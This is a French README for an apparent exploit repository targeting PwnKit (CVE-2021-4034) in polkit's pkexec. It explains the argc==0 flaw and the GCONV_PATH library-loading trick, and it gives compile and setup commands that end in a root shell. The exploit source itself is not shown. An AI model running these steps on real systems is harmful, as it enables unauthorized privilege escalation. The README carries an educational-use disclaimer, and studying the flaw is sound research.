
Ce dépôt montre comment exploiter la vulnérabilité CVE-2021-4034.
Ce dépôt contient le code source pour démontrer l'exploitation de la vulnérabilité CVE-2021-4034, également connue sous le nom de PwnKit, découverte dans pkexec (partie du paquet Polkit). Cette faille permet une élévation locale de privilèges vers root via l'utilisation de variables d'environnement malveillantes.
Ce code est fourni uniquement à des fins éducatives et de recherche. Il ne doit pas être utilisé sur des systèmes en production ni sans autorisation expresse. Une utilisation abusive peut être illégale et va à l'encontre des conditions d'utilisation de l'auteur.
La vulnérabilité se produit lorsque pkexec est exécuté sans arguments, c'est-à-dire argc == 0. Dans ce cas, pkexec tente d'accéder à argv[1] sans vérifier que argv[0] existe, ce qui le fait lire depuis envp[0]. Cela permet à l'attaquant de :
GCONV_PATH..so arbitraire pour exécuter du code en tant que root.L'exploit exploite cette condition pour charger une bibliothèque malveillante qui ouvre un shell en tant qu'utilisateur root.
cve-2021-4034.c : Code source de l'exploit qui invoque pkexec avec argv[] = {NULL} et des variables d'environnement modifiées.pwnkit.c : Code source de la bibliothèque malveillante qui ouvre un shell en tant que root.gcc -Wall -o cve-2021-4034 cve-2021-4034.c
gcc -Wall -shared -fPIC -o pwnkit.so pwnkit.c
mkdir GCONV_PATH=.
echo 'module UTF-8// PWNKIT// pwnkit 1' > gconv-modules
cp $(which true) GCONV_PATH=./pwnkit.so:.
./cve-2021-4034